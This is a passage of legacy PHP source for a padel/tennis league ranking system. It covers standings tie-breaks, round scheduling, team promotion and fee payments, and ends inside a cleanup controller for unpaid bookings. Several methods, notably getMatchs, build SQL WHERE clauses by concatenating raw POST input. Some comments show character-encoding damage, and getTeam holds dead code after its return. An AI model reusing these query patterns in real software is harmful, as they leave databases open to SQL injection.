if((($equipos[$i]['id'] == $partido['team1'] || $equipos[$i]['id'] == $partido['team2']) && $ganador == '0' ) || $equipos[$i]['id'] == $no_presentado ) {
$equipos[$i]['PJ']++;
$equipos[$i]['PP']++;
$equipos[$i]['puntos']+=$puntuaciones['perdidoWO'];
}
}
break;
}
foreach($partido['resultado2'] as $set => $tantos) {
for($i=0; $i<count($equipos); $i++) {
# Datos del equipo ganador
if($equipos[$i]['id'] == $partido['team1']) {
$equipos[$i]['JG'] = $equipos[$i]['JG'] + $tantos['team1'];
$equipos[$i]['JP'] = $equipos[$i]['JP'] + $tantos['team2'];
if($tantos['team1'] > $tantos['team2']) $equipos[$i]['SG']++;
elseif($tantos['team1'] < $tantos['team2']) $equipos[$i]['SP']++;
elseif($tantos['team1']!=0) $equipos[$i]['SE']++;
}
if($equipos[$i]['id'] == $partido['team2']) {
$equipos[$i]['JG'] = $equipos[$i]['JG'] + $tantos['team2'];
$equipos[$i]['JP'] = $equipos[$i]['JP'] + $tantos['team1'];
if($tantos['team1'] > $tantos['team2']) $equipos[$i]['SP']++;
elseif($tantos['team1'] < $tantos['team2']) $equipos[$i]['SG']++;
elseif($tantos['team1']!=0) $equipos[$i]['SE']++;
}
}
}
}
for($i=0; $i<count($equipos); $i++) {
$equipos[$i]['PD'] = $equipos[$i]['PG'] - $equipos[$i]['PP'];
$equipos[$i]['SD'] = $equipos[$i]['SG'] - $equipos[$i]['SP'];
$equipos[$i]['JD'] = $equipos[$i]['JG'] - $equipos[$i]['JP'];
}
//!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
if($no_order) {
$equipos = $this->CI->app_common->ordenar_array($equipos, 'group', SORT_ASC, 'order', SORT_ASC);
//echo 'aa';
} else {
$equipos = $this->CI->app_common->ordenar_array($equipos, 'group', SORT_ASC, 'puntos', SORT_DESC, 'PG', SORT_DESC, 'SD', SORT_DESC, 'SG', SORT_DESC, 'JD', SORT_DESC, 'JG', SORT_DESC);
$grupos = $this->CI->app_common->array_column($equipos, 'group', 'group');
//print_r($grupos);
//echo 'bb';
# Voy a ir recorriendo grupo por grupo buscando si hay empates a dos en el primer o ultimo lugar para rellenar un campo 'desempate' que permita saber quien va primero y quien segundo de esas parejas emparejadas a dos (se hace por el ganador del cruce directo)
foreach($grupos as $grupo) {
$implicados = array(); $puntuacion_mayor = 0; $puntuacion_menor=0; $primeros = array(); $ultimos = array(); $id_anterior = 0; $puntos_anterior = 0; $agrupacion_puntos = array();
foreach($equipos as $equipo) {
if($equipo['group'] == $grupo) {
array_push($implicados, $equipo); // Relleno un array con los datos de equipos de este grupo
#Relleno el array que agrupa a los equipos con la misma puntuaciรณn, para los desempates
if(!isset($agrupacion_puntos[$equipo['puntos']])) $agrupacion_puntos[$equipo['puntos']] = array();
array_push($agrupacion_puntos[$equipo['puntos']], $equipo['id']);
// Si es el equipo con m๏ฟฝs puntos, grabo cuantos puntos son y grabo que es el equipo m๏ฟฝs alto. Si tiene los mismos puntos que el mayor, lo a๏ฟฝado al array de $primeros
if($equipo['puntos'] > $puntuacion_mayor) { $puntuacion_mayor = $equipo['puntos']; $primeros = array($equipo['id']); }
elseif($equipo['puntos'] == $puntuacion_mayor) array_push($primeros, $equipo['id']);
// Si es el equipo con menos puntos, grabo cuantos puntos son y grabo que es el equipo m๏ฟฝs bajo. Si tiene los mismos puntos que el menor, lo a๏ฟฝado al array de $ultimos
if($equipo['puntos'] < $puntuacion_menor) { $puntuacion_menor = $equipo['puntos']; $ultimos = array($equipo['id']); }
elseif($equipo['puntos'] == $puntuacion_menor) array_push($ultimos, $equipo['id']);
#Actualizo las variables para comparar
$id_anterior = $equipo['id']; $puntos_anterior = $equipo['puntos'];
}
}
//echo '<pre>'; print_r($equipos); exit();
# Desempates de dos equipos!
foreach($agrupacion_puntos as $puntuacion => $equipos_puntuados) {
# Recorro el array de puntuaciones y cuando detecto qyehay un empate a dos, gestiono el desempate
if(count($equipos_puntuados) == 2) {
//echo '<br>Equipos empatados:'; print_r($equipos_puntuados);
# Recorro los equipos para saber la posiciรณn actual del equipo que va delante y del que va detrรกs
$pos_ganador = 0; $pos_perdedor = 0;
for($i=0; $i<count($equipos); $i++) {
if(in_array($equipos[$i]['id'], $equipos_puntuados)) {
if($pos_ganador == 0) $pos_ganador = $equipos[$i]['order'];
else $pos_perdedor = $equipos[$i]['order'];
}
}
foreach($partidos as $partido) {
# Busco el enfrentamiento directo
if(in_array($partido['team1'], $equipos_puntuados) && in_array($partido['team2'], $equipos_puntuados)) {
for($i=0; $i<count($equipos); $i++) {
if($equipos[$i]['id'] == $partido['winner']) { /*echo '<br>El equipo '.$equipos[$i]['description'].' sube posicion a '.$pos_ganador;*/ $equipos[$i]['order'] = $pos_ganador; $equipos[$i]['desempate'] = 1; }
elseif(in_array($equipos[$i]['id'], $equipos_puntuados) && $partido['winner']!='' && $equipos[$i]['id'] != $partido['winner']) { /*echo '<br>El equipo '.$equipos[$i]['description'].' baja posicion a '.$pos_perdedor;*/ $equipos[$i]['order'] = $pos_perdedor; $equipos[$i]['desempate'] = 0; }
}
//print_r($equipos[$i]); exit();
}
}
}
}
/*
if(count($primeros) == 2) {
//echo 'Hay dos empatados para el primer puesto...<br>'; echo '<pre>'; print_r($primeros);
foreach($partidos as $partido) {
# Busco el enfrentamiento directo
if(in_array($partido['team1'], $primeros) && in_array($partido['team2'], $primeros)) {
for($i=0; $i<count($equipos); $i++) {
if($equipos[$i]['id'] == $partido['winner']) { $equipos[$i]['order'] = 1; $equipos[$i]['desempate'] = 1; }
if(in_array($equipos[$i]['id'], $primeros) && $partido['winner']!='' && $equipos[$i]['id'] != $partido['winner']) { $equipos[$i]['order'] = 2; }
}
//print_r($equipos[$i]); exit();
}
}
}
if(count($ultimos) == 2) {
//echo 'Hay dos empatados para el ultimo puesto...<br>'; echo '<pre>'; print_r($ultimos);
foreach($partidos as $partido) {
# Busco el enfrentamiento directo
if(in_array($partido['team1'], $ultimos) && in_array($partido['team2'], $ultimos)) {
for($i=0; $i<count($equipos); $i++) {
if($equipos[$i]['id'] == $partido['winner']) { $equipos[$i]['order'] = (count($implicados) -1); $equipos[$i]['desempate'] = 1; }
if(in_array($equipos[$i]['id'], $ultimos) && $partido['winner']!='' && $equipos[$i]['id'] != $partido['winner']) { $equipos[$i]['order'] = count($implicados); }
}
//print_r($equipos[$i]); exit();
}
}
}
*/
/*
if($grupo == 2) {
$implicados = array();
foreach($equipos as $equipo) {
if($equipo['group'] == $grupo) {
array_push($implicados, $equipo); // Relleno un array con los datos de equipos de este grupo
}
}
print("<pre>");print_r($implicados); exit();
}
*/
}
//exit();
# Reordeno de nuevo metiendo el campo 'desempate' en el ordenamiento, para que dentro de los que est๏ฟฝn empatados a puntos y hayan entrado en el calculo anterior (es decir.. los que solo tenian dos empatados) se tenga en cuenta primero el desempate antes que los partidos ganados..
if(!$no_order) $equipos = $this->CI->app_common->ordenar_array($equipos, 'group', SORT_ASC, 'puntos', SORT_DESC, 'desempate', SORT_DESC, 'PG', SORT_DESC, 'SD', SORT_DESC, 'SG', SORT_DESC, 'JD', SORT_DESC, 'JG', SORT_DESC);
$grupo_ = 1; $pos_ = 1; $id_ = 0;
foreach($equipos as $equipo) {
if($grupo_ != $equipo['group']) $pos_ = 1;
$grupo_ = $equipo['group'];
//echo '<br>poniendo equipo '.$equipo['description'].' en posicion '.$pos_;
$this->CI->rank->setTeamPosition($id, $equipo['id'], $equipo['group'], $pos_);
$equipos[$id_]['order'] = $pos_;
$pos_++; $id_++;
}
}
//print("<b>EQUIPOS CON RESULTADOS</b><pre>");print_r($equipos);print("</pre>");exit();
//exit('aaaa');
return $equipos;
}
/**
* Recupera rondas de un ranking
*
* @return array
* @author Mathew
**/
public function createRounds($info)
{
if(!isset($info) || count($info)==0) return NULL;
$fecha_inicio = strtotime($info['start_date']);
//echo 'inicio: '.$info['start_date'].' - '.$fecha_inicio.'<br>';
$fecha_fin = strtotime($info['end_date']);
//echo 'fin: '.$info['end_date'].' - '.$fecha_fin.'<br>';
$duracion_total = $fecha_fin - $fecha_inicio;
$duracion_total_dias = intval($duracion_total/ (60*60*24));
//echo 'Duracion: '.$duracion_total.' / dias: '.strval($duracion_total_dias).'<br>';
$rondas = intval($info['rounds']);
//echo 'rondas: '.$info['rounds'].'<br>';
$duracion_ronda = intval($info['round_duration']);
//echo 'Duracion/ronda: '.$info['round_duration'].'<br>';
$modo = '';
if($rondas != '0') $modo = 'rounds';
if($duracion_ronda != '0') $modo = 'duration';
if($modo=='') return NULL;
switch($modo) {
case 'rounds':
$time_jornada = $duracion_total / $rondas;
$duracion_ronda = intval($time_jornada/ (60*60*24));
//echo 'Duracion ronda: '.$time_jornada.' / en dias: '.strval($duracion_ronda).'<br>' ;
break;
case 'duration':
$rondas = intval($duracion_total_dias / $duracion_ronda);
//echo 'Rondas: '.$rondas.' <br>';
break;
}
$jornadas = array();
$fecha_actual = $fecha_inicio;
for($i=1; $i <= $rondas; $i++) {
//echo 'Ronda numero '.$i.'<br>';
$ronda_trabajo = array();
$ronda_trabajo['ronda'] = $i;
$ronda_trabajo['initial'] = $fecha_actual;
$ronda_trabajo['start_date'] = date($this->CI->config->item('date_db_format'), $fecha_actual);
$ronda_trabajo['fecha_inicio'] = date($this->CI->config->item('reserve_date_filter_format'), $fecha_actual);
$ronda_trabajo['end'] = $fecha_actual + (($duracion_ronda-1)*60*60*24);
if($i == $rondas) $ronda_trabajo['end'] = $fecha_fin;
$ronda_trabajo['end_date'] = date($this->CI->config->item('date_db_format'), $ronda_trabajo['end']);
$ronda_trabajo['fecha_fin'] = date($this->CI->config->item('reserve_date_filter_format'), $ronda_trabajo['end']);
//echo $ronda_trabajo['end'];
array_push($jornadas, $ronda_trabajo );
$fecha_actual = $ronda_trabajo['end'] + (60*60*24);
}
//$inicio
//print("<pre>");print_r($jornadas);print("</pre>");exit();
return $jornadas;
}
/**
* Crea array con los partidos asociados a un grupo, con las fechas estimadas de juego
*
* @return array
* @author Mathew
**/
public function scheduleMatchs($info, $group, $jornada, $matchs)
{
if(!isset($info) || count($info)==0) return NULL;
if(!isset($matchs) || count($matchs)==0) return NULL;
//print("<pre>");print_r($info);print('Grupo: '.$group.'<br>Jornada: '.$jornada.'<br>');print_r($matchs);print("</pre>");
foreach($info['rondas'] as $ronda) {
if($ronda['id'] == $jornada) {
$fecha_inicio = strtotime($ronda['start_date']);
//echo 'inicio: '.$ronda['start_date'].' - '.$fecha_inicio.'<br>';
$fecha_fin = strtotime($ronda['end_date']);
//echo 'fin: '.$ronda['end_date'].' - '.$fecha_fin.'<br>';
if(!isset($fecha_inicio) || !isset($fecha_fin)) return null;
$duracion_total = $fecha_fin - $fecha_inicio;
$duracion_total_dias = intval($duracion_total/ (60*60*24));
//echo 'Duracion: '.$duracion_total.' / dias: '.strval($duracion_total_dias).'<br>';
$encuentros = count($matchs);
//echo 'encuentros: '.$encuentros.'<br>';
$duracion_ronda = intval($info['round_duration']);
//echo 'Duracion/ronda: '.$info['round_duration'].'<br>';
$time_jornada = $duracion_total / $encuentros;
$duracion_ronda = intval($time_jornada/ (60*60*24));
//echo 'Duracion ronda: '.$time_jornada.' / en dias: '.strval($duracion_ronda).'<br>' ;
$jornadas = array();
$fecha_actual = $fecha_inicio;
for($i=1; $i <= $encuentros; $i++) {
//echo 'Ronda numero '.$i.'<br>';
$ronda_trabajo = array();
$ronda_trabajo['id_ranking'] = $info['id'];
$ronda_trabajo['group'] = $group;
$ronda_trabajo['round'] = $jornada;
$ronda_trabajo['estimated_date'] = date($this->CI->config->item('date_db_format'), $fecha_actual);
$ronda_trabajo['end'] = $fecha_actual + (($duracion_ronda-1)*60*60*24);
if($i == $encuentros) $ronda_trabajo['end'] = $fecha_fin;
//echo $ronda_trabajo['end'];
foreach($matchs[$i-1] as $jornadita) {
//print_r($jornadita);
$ronda_trabajo['team1'] = $jornadita[0];
$ronda_trabajo['team2'] = $jornadita[1];
# Descarto los partidos de descanso
if($ronda_trabajo['team1']!='D' && $ronda_trabajo['team2']!='D') array_push($jornadas, $ronda_trabajo );
}
$fecha_actual = $ronda_trabajo['end'] + (60*60*24);
}
}
}
//$inicio
//print("JORNADAS!!!!!<pre>");print_r($jornadas);print("</pre>");exit();
return $jornadas;
}
/**
* Recupera datos de partidos para una jornada
*
* @return array
* @author Mathew
**/
public function getMatchs($ranking, $round, $add_params)
{
$this->CI->load->model('Ranking_model', 'rank', TRUE);
//exit($ranking.'aa');
$where = '';
//$req_param = array ();
$req_param = array (
"orderby" => $this->CI->input->post( "sidx", TRUE ),
"orderbyway" => $this->CI->input->post( "sord", TRUE ),
"page" => $this->CI->input->post( "page", TRUE ),
"num_rows" => $this->CI->input->post( "rows", TRUE ),
"search" => $this->CI->input->post( "_search", TRUE ),
"where" => '',
"search_field" => $this->CI->input->post( "searchField", TRUE ),
"search_operator" => $this->CI->input->post( "searchOper", TRUE ),
"search_str" => $this->CI->input->post( "searchString", TRUE ),
);
if($req_param['search']=='true' && $req_param['search_field']!='' && $req_param['search_operator']!='' && $req_param['search_str']!='') {
if(trim($where)!="") $where .= ' AND ';
$where .= $req_param['search_field'];
switch($req_param['search_operator']) {
case 'cn':
$where .=' LIKE \'%'.$req_param['search_str'].'%\' ';
break;
}
}
if(isset($add_params)) {
switch($add_params) {
case "future":
if(trim($where)!="") $where .= ' AND ';
$where .= "(booking.date > '".date($this->config->item('date_db_format'))."' OR (booking.date = '".date($this->config->item('date_db_format'))."' AND booking.intervalo >= '".date($this->config->item('hour_db_format'))."'))";
break;
default:
#asumo que es para usuarios..
if(trim($where)!="") $where .= ' AND ';
$where .= "ranking_matchs.id_ranking IN (select id_ranking from ranking_teams, ranking_teams_members WHERE ranking_teams.id_ranking = ".$ranking." AND ranking_teams.id = ranking_teams_members.id_team AND ranking_teams_members.id_user = ".$add_params.") AND ranking_matchs.group IN (select ranking_teams.group from ranking_teams, ranking_teams_members WHERE ranking_teams.id_ranking = ".$ranking." AND ranking_teams.id = ranking_teams_members.id_team AND ranking_teams_members.id_user = ".$add_params.")";
break;
}
}
if(trim($where)!="") $where .= ' AND ';
$where .= 'ranking_matchs.id_ranking = '.$ranking;
if(trim($where)!="") $where .= ' AND ';
$where .= 'ranking_matchs.round = '.$round;
$req_param['where'] = $where;
if(isset($add_params) && is_array($add_params) && isset($add_params['where']) && $add_params['where'] != '') { if(trim($req_param['where']) != '') $req_param['where'] .= ' AND '; $req_param['where'] .= $add_params['where'];}
$data->page = $this->CI->input->post( "page", TRUE );
//print("<pre>");print_r($record_items);exit();
$data->records = count ($this->CI->rank->get_matchs_data($req_param,"all"));
if(isset($data->records) && $data->records!=0) $data->total = ceil ($data->records / $req_param['num_rows'] );
else $data->total = 0;
$records = $this->CI->rank->get_matchs_data ($req_param, 'none');
for($i=0; $i<count($records); $i++) {
if($records[$i]['played_date']) $records[$i]['fecha'] = date($this->CI->config->item('reserve_date_filter_format'), strtotime($records[$i]['played_date']));
elseif($records[$i]['estimated_date']) $records[$i]['fecha'] = date($this->CI->config->item('reserve_date_filter_format'), strtotime($records[$i]['estimated_date']));
else $records[$i]['fecha'] = '';
if($records[$i]['winner']!='' && $records[$i]['ganador']=='') $records[$i]['ganador'] = 'No identificado';
elseif($records[$i]['winner']=='') $records[$i]['ganador'] = ' - ';
//$resultado[$i]['final'] = date($this->config->item('reserve_date_filter_format'), strtotime($resultado[$i]['end_date']));
if(trim($records[$i]['phone1'])!='') $records[$i]['equipo1'] .= ' ('.$records[$i]['phone1'].')';
if(trim($records[$i]['phone2'])!='') $records[$i]['equipo2'] .= ' ('.$records[$i]['phone2'].')';
}
$data->rows = $records;
return $data;
}
/**
* Recupera datos de partidos para una jornada
*
* @return array
* @author Mathew
**/
public function getMatchInfo($id_match)
{
//$req_param = array ();
$req_param = array (
"orderby" => $this->CI->input->post( "sidx", TRUE ),
"orderbyway" => $this->CI->input->post( "sord", TRUE ),
"page" => $this->CI->input->post( "page", TRUE ),
"num_rows" => $this->CI->input->post( "rows", TRUE ),
"search" => $this->CI->input->post( "_search", TRUE ),
"where" => '',
"search_field" => $this->CI->input->post( "searchField", TRUE ),
"search_operator" => $this->CI->input->post( "searchOper", TRUE ),
"search_str" => $this->CI->input->post( "searchString", TRUE ),
);
$where = 'ranking_matchs.id = '.$id_match;
$req_param['where'] = $where;
//print("<pre>");print_r($record_items);exit();
$resultado = $this->CI->rank->get_matchs_data($req_param,"all");
$partido = array();
if(count($resultado)>0) $partido = $resultado[0];
$tanteo = $this->CI->rank->get_matchs_result_data($id_match);
$partido['tanteo'] = $tanteo;
return $partido;
}
/**
* Dar de alta un equipo nuevo en el ranking
*
* @return array
* @author Mathew
**/
public function newTeam($id, $datos)
{
//print("<pre>");print_r($datos);exit();
$jugadores = $this->CI->rank->get_teams_members(array('where' => "ranking.id = '".$id."' and ranking_teams.status not in (9)"));
$test = 1;
foreach($jugadores as $jugador) {
if($datos['main_user'] == $jugador['id_user']) $test = 0;
}
//print($test.' - '.$datos."<pre>");print_r($jugadores);exit();
if($test==1) $this->CI->rank->createTeam($id, $datos);
else return FALSE;
return TRUE;
}
/**
* recuperar info de un equipo
*
* @return array
* @author Mathew
**/
public function getTeam($id)
{
//print("<pre>");print_r($datos);exit();
$equipos = $this->CI->rank->get_teams(array('where' => "ranking_teams.id = '".$id."'"));
$equipo = $equipos[0];
$jugadores = $this->CI->rank->get_teams_members(array('where' => "ranking_teams.id = '".$id."'"));
$equipo['players'] = $jugadores;
return $equipo;
$test = 1;
foreach($jugadores as $jugador) {
if($datos['main_user'] == $jugador['id_user']) $test = 0;
}
if($test==1) $this->CI->rank->createTeam($id, $datos);
return TRUE;
}
/**
* aplica las promociones de subida y bajada de equipos en sus grupos
*
* @return boolean
* @author Mathew
**/
public function runPromotion($ranking, $listado, $ronda)
{
$debug = FALSE;
$resultado = array();
# Recorro los grupos
foreach($listado as $id => $equipos) {
# comprobacion de que hay que bajar equipos...
$bajar = TRUE;
if($debug) echo '<br> TRabajando con el equipo '.$id;
if($listado[$id][1]['id'] == 0 || !isset($listado[$id+1]) || $listado[$id+1][1]['id'] == 0) {
$bajar = FALSE;
}
if($bajar) {
if($debug) echo '<br> el grupo '.$id.' puede bajar';
foreach($equipos as $idt => $equipo) {
/*
# Codigo para bajar al ultimo a dos grupos m๏ฟฝs abajo
if($idt == count($equipos)) {
$pos_destino = 2;
if($id != (count($listado)-2) || $id != (count($listado)-1)) $grupo_destino = $equipo['group'] + 2;
else {
$grupo_destino = $equipo['group'] + 1;
//$pos_destino = 2;
}
if($debug) echo '<br> bajar el equipo '.$equipo['id'].' ('.$equipo['description'].') dos grupos.. del '.$equipo['group'].' al '.$grupo_destino.' a posicion '.$pos_destino;
$this->CI->rank->setTeamPosition($ranking, $equipo['id'], $grupo_destino, $pos_destino);
}
*/
# codigo para bajar al ultimo un grupo m๏ฟฝs abajo
if($idt == (count($equipos))) {
$pos_destino = 1;
$grupo_destino = $equipo['group'] + 1;
if($debug) echo '<br> bajar el equipo '.$equipo['id'].' ('.$equipo['description'].') un grupo.. del '.$equipo['group'].' al '.$grupo_destino.' a posicion '.$pos_destino;
$this->CI->rank->setTeamPosition($ranking, $equipo['id'], $grupo_destino, $pos_destino, $ronda);
}
}
}
# comprobacion de que hay que subir equipos
$subir = TRUE;
if($id == 1 || $listado[$id][1]['id'] == 0) $subir = FALSE;
if($subir) {
if($debug) echo '<br> el grupo '.$id.' puede subir';
foreach($equipos as $idt => $equipo) {
/*
# Codigo para subir al primer dos grupos m๏ฟฝs arriba
if($idt == 1) {
$pos_destino = 3;
if($id > 3) $grupo_destino = $equipo['group'] - 2;
else {
$grupo_destino = $equipo['group'] - 1;
//$pos_destino = 3;
}
if($grupo_destino <= 0) $grupo_destino = 1;
if($debug) echo '<br> subir el equipo '.$equipo['id'].' ('.$equipo['description'].') dos grupos. del '.$equipo['group'].' al '.$grupo_destino.' a posicion '.$pos_destino;
$this->CI->rank->setTeamPosition($ranking, $equipo['id'], $grupo_destino, $pos_destino);
}*/
# Codigo para subir al primer un grupo m๏ฟฝs arriba
if($idt == 1) {
$grupo_destino = $equipo['group'] - 1;
if($grupo_destino <= 0) $grupo_destino = 1;
$pos_destino = 4;
if($debug) echo '<br> subir el equipo '.$equipo['id'].' ('.$equipo['description'].') un grupo. del '.$equipo['group'].' al '.$grupo_destino.' a posicion '.$pos_destino;
$this->CI->rank->setTeamPosition($ranking, $equipo['id'], $grupo_destino, $pos_destino, $ronda);
}
}
}
}
//exit();
return TRUE;
}
/**
* aplica las promociones de subida y bajada de equipos en sus grupos
*
* @return boolean
* @author Mathew
**/
public function runPromotion_vieja($ranking, $listado, $ronda)
{
$debug = TRUE;
$resultado = array();
# Recorro los grupos
foreach($listado as $id => $equipos) {
# comprobacion de que hay que bajar equipos...
$bajar = TRUE;
if($debug) echo '<br> TRabajando con el equipo '.$id;
if($listado[$id][1]['id'] == 0 || !isset($listado[$id+1]) || $listado[$id+1][1]['id'] == 0) {
$bajar = FALSE;
}
if($bajar) {
if($debug) echo '<br> el grupo '.$id.' puede bajar';
foreach($equipos as $idt => $equipo) {
if($idt == count($equipos)) {
$pos_destino = 2;
if($id != (count($listado)-2) || $id != (count($listado)-1)) $grupo_destino = $equipo['group'] + 2;
else {
$grupo_destino = $equipo['group'] + 1;
//$pos_destino = 2;
}
if($debug) echo '<br> bajar el equipo '.$equipo['id'].' ('.$equipo['description'].') dos grupos.. del '.$equipo['group'].' al '.$grupo_destino.' a posicion '.$pos_destino;
$this->CI->rank->setTeamPosition($ranking, $equipo['id'], $grupo_destino, $pos_destino);
}
if($idt == (count($equipos)-1)) {
$pos_destino = 1;
$grupo_destino = $equipo['group'] + 1;
if($debug) echo '<br> bajar el equipo '.$equipo['id'].' ('.$equipo['description'].') un grupo.. del '.$equipo['group'].' al '.$grupo_destino.' a posicion '.$pos_destino;
$this->CI->rank->setTeamPosition($ranking, $equipo['id'], $grupo_destino, $pos_destino);
}
}
}
# comprobacion de que hay que subir equipos
$subir = TRUE;
if($id == 1 || $listado[$id][1]['id'] == 0) $subir = FALSE;
if($subir) {
if($debug) echo '<br> el grupo '.$id.' puede subir';
foreach($equipos as $idt => $equipo) {
if($idt == 1) {
$pos_destino = 3;
if($id > 3) $grupo_destino = $equipo['group'] - 2;
else {
$grupo_destino = $equipo['group'] - 1;
//$pos_destino = 3;
}
if($grupo_destino <= 0) $grupo_destino = 1;
if($debug) echo '<br> subir el equipo '.$equipo['id'].' ('.$equipo['description'].') dos grupos. del '.$equipo['group'].' al '.$grupo_destino.' a posicion '.$pos_destino;
$this->CI->rank->setTeamPosition($ranking, $equipo['id'], $grupo_destino, $pos_destino);
}
if($idt == 2) {
$grupo_destino = $equipo['group'] - 1;
if($grupo_destino <= 0) $grupo_destino = 1;
$pos_destino = 4;
if($debug) echo '<br> subir el equipo '.$equipo['id'].' ('.$equipo['description'].') un grupo. del '.$equipo['group'].' al '.$grupo_destino.' a posicion '.$pos_destino;
$this->CI->rank->setTeamPosition($ranking, $equipo['id'], $grupo_destino, $pos_destino);
}
}
}
}
exit();
return TRUE;
}
##############
#
# Registra el pago de la cuota de usuario
#
####################
public function pay_user_quota($asistente, $options = NULL) {
/*
if(isset($options['object']) && is_array($options['object'])) $assistant=$options['object'];
else $assistant=get_object_vars ($this->CI->calendario->getAssistantInfo($asistente));
*/
$assistant = $this->CI->rank->get_teams_members(array('where'=>"ranking.started = 1 AND ranking_teams_members.id = ".$asistente." "));
$assistant = $assistant[0];
$ranking = $this->CI->rank->get_data(array('where'=>"ranking.id = ".$assistant['id_ranking']));
$ranking = $ranking[0];
$equipo = $this->CI->rank->get_teams(array('where' => 'ranking_teams.id = '.$assistant['id_team']));
$equipo = $equipo[0];
//print('equipo<pre>');print_r($equipo);
$assistant['grupo'] = $this->CI->users->getUserGroup($assistant['id_user']);
if(!isset($assistant['grupo']) || $assistant['grupo']=='') $assistant['grupo'] = 9;
$assistant['quota'] = $this->CI->app_common->getPriceValue($ranking['price'], array('group' => $assistant['grupo']));
//$assistant_info = $this->CI->users->get_user($assistant['id_user']);
//print('usuario<pre>');print_r($assistant_info);
//$info = $this->CI->calendario->getCalendarByRange($assistant['id_lesson']);
//print('curso<pre>');print_r($info);
//exit();
if(!isset($quantity) || $quantity == '') $quantity = 1; // Mensualidades por defecto a pagar
# Si se ha marcado como dado de alta el usuario, seguimos..
if($assistant['sign_date'] != '') {
if(!isset($assistant['last_day_payed']) || $assistant['last_day_payed']=="") {
$ultima_fecha = $assistant['sign_date'];
$dia = date('d', strtotime($ultima_fecha));
$dia_de_pago = '01';
if($dia < $dia_de_pago) {
$trozos = explode('-', $ultima_fecha);
$last_payd_date = $trozos[0].'-'.$trozos[1].'-'.$dia_de_pago;
} elseif($dia > $dia_de_pago) {
$fecha_siguiente = date($this->CI->config->item('log_date_format'), strtotime($assistant['sign_date'].' +1 month'));
$trozos = explode('-', $fecha_siguiente);
$last_payd_date = $trozos[0].'-'.$trozos[1].'-'.$dia_de_pago;
} else {
$last_payd_date = date($this->CI->config->item('log_date_format'), strtotime($assistant['sign_date'].' +1 month'));
}
//echo "1<br>";
} else {
$last_payd_date = date($this->CI->config->item('log_date_format'), strtotime($assistant['last_day_payed'].' +1 month'));
//echo "2<br>";
}
//echo '<br>... las_payd_date: '.$last_payd_date;
//exit();
$paymentway = 4; //Forma pago temporal.. por banco
if(isset($quantity) && $quantity!=0 && $quantity!="" && isset($paymentway) && $paymentway!=0 && $paymentway!="") {
/*
$cuota = $assistant['quota'];
$pay_amount_tmp = $cuota * $quantity;
if($assistant->discount_type == '%') $pay_amount = $pay_amount_tmp - ($pay_amount_tmp * $assistant->discount / 100);
else $pay_amount = $pay_amount_tmp - $assistant->discount;
*/
$pay_amount = $assistant['quota'];
//exit('cuota:'.$pay_amount);
if($this->CI->rank->setMonthlyPayment($asistente, $last_payd_date)) $this->CI->session->set_userdata('info_message', 'Pago hasta el '.date($this->CI->config->item('reserve_date_filter_format'), strtotime($last_payd_date)).' realizado');
else {
return FALSE;
}
//exit();
if($assistant['id_user'] != '' && $assistant['id_user'] != 0) {
$user_desc = $assistant['first_name'].' '.$assistant['last_name'];
$description = "Cuota mensual del ranking '".$ranking['description']."', hasta el ".$last_payd_date;
} else {
# En caso de que el usuario insscrito como jugador sea an๏ฟฝnimo
$user_desc = $equipo['main_user_description'];
$assistant['id_user'] = $equipo['main_user'];
$description = "Cuota mensual (en nombre de ".$assistant['main_user_description'].") del ranking '".$ranking['description']."', hasta el ".$last_payd_date;
}
$estado = 9;
if($paymentway == 4) $estado = 2;
if($pay_amount == 0) $estado = 9; // Si la cuota resultante es '0', se pone siempre como pagado para evitar pagos raros pendientes en remesas
$this->CI->load->model('Payment_model', 'pagos', TRUE);
$this->CI->pagos->id_type=7; //Ranking
$this->CI->pagos->id_element=$this->CI->session->userdata('session_id');
$this->CI->pagos->id_transaction='r-'.$ranking['id'].'-'.$assistant['id_team'].'-'.$assistant['id'].'-'.date('U'); // Formato 'l' de lesson, codigo de curso, codigo de usuario y fecha del momento del pago
$this->CI->pagos->id_user=$assistant['id_user'];
$this->CI->pagos->desc_user=$user_desc;
$this->CI->pagos->id_paymentway = $paymentway;
$this->CI->pagos->status=$estado;
$this->CI->pagos->quantity = $pay_amount;
$this->CI->pagos->datetime=date($this->CI->config->item('log_date_format'));
$this->CI->pagos->description = $description;
$this->CI->pagos->create_user=$this->CI->session->userdata('user_id');
$this->CI->pagos->create_time=date($this->CI->config->item('log_date_format'));
$this->CI->pagos->setPayment();
//exit('AAAAAAAAAAAAAAA');
return TRUE;
} else return FALSE;
} else return FALSE; // no est๏ฟฝ marcado como dado de alta
return NULL;
}
}
```
control.php
```<?php
class Control extends Controller {
function Control()
{
parent::Controller();
}
function index()
{
echo "Testigo ".date('YmdHis');
}
function scheduled_eraser()
{
$this->load->model('reservas_model', 'reservas', TRUE);
$this->load->model('Redux_auth_model', 'usuario', TRUE);
$this->load->library('booking');
//echo "Testigo ".strtotime(' -3minutes').' - '.date('Y-m-d H:i:s', strtotime(' -3minutes'));
$booking_table = 'booking';
$payments_table = 'payments';
$payments_extra_table = 'payments_tpv_extra';
$limit_datetime = date('Y-m-d H:i:s', strtotime(' -15minutes'));
//$limit_datetime = date('Y-m-d H:i:s');
$booking_status_to_erase = '5';
$booking_status_to_cancel = '7';
$payment_status_to_erase = '5';
$payment_status_to_cancel = '7';
$paymentway_to_erase = '6';
# Borrado de los datos extra de los pagos por TPV a medio hacer
$this->db->where("id_payment IN (SELECT id FROM ".$payments_table." WHERE status = '".$payment_status_to_erase."' and id_paymentway = '".$paymentway_to_erase."' and datetime <='".$limit_datetime."' )");
//$this->db->where('id_paymentway', $paymentway_to_erase);
$this->db->delete($payments_extra_table);
log_message('debug','Pagos inutilizados, borrados: '.$this->db->last_query());
# Cancelaciรณn de las reservas asociadas a los pagos que vamos a cancelar
$this->db->distinct();
$this->db->select($booking_table.'.id_transaction')->from($booking_table);
$this->db->join($payments_table, $payments_table.'.id_transaction = '.$booking_table.'.id_transaction', 'left outer');
$this->db->where($payments_table.".status = '".$payment_status_to_erase."' and ".$payments_table.".id_paymentway = '".$paymentway_to_erase."' and ".$payments_table.".datetime <='".$limit_datetime."'");
$query = $this->db->get();
foreach ($query->result() as $row)
{
//echo '<br>'.$row->id_transaction;
$info=$this->reservas->getBookingInfoById($row->id_transaction);
$text_cancel = 'Pago no finalizado';
//print("<pre>");print_r($info);exit();
$result = $this->booking->cancel_reserve($info, $text_cancel, array('mail' => TRUE, 'refund' => FALSE));
}
//exit($this->db->last_query());
# Cancelacion de los pagos que llevan demasiado tiempo pendientes (presumibles pagos por TPV que no se han cerrado)
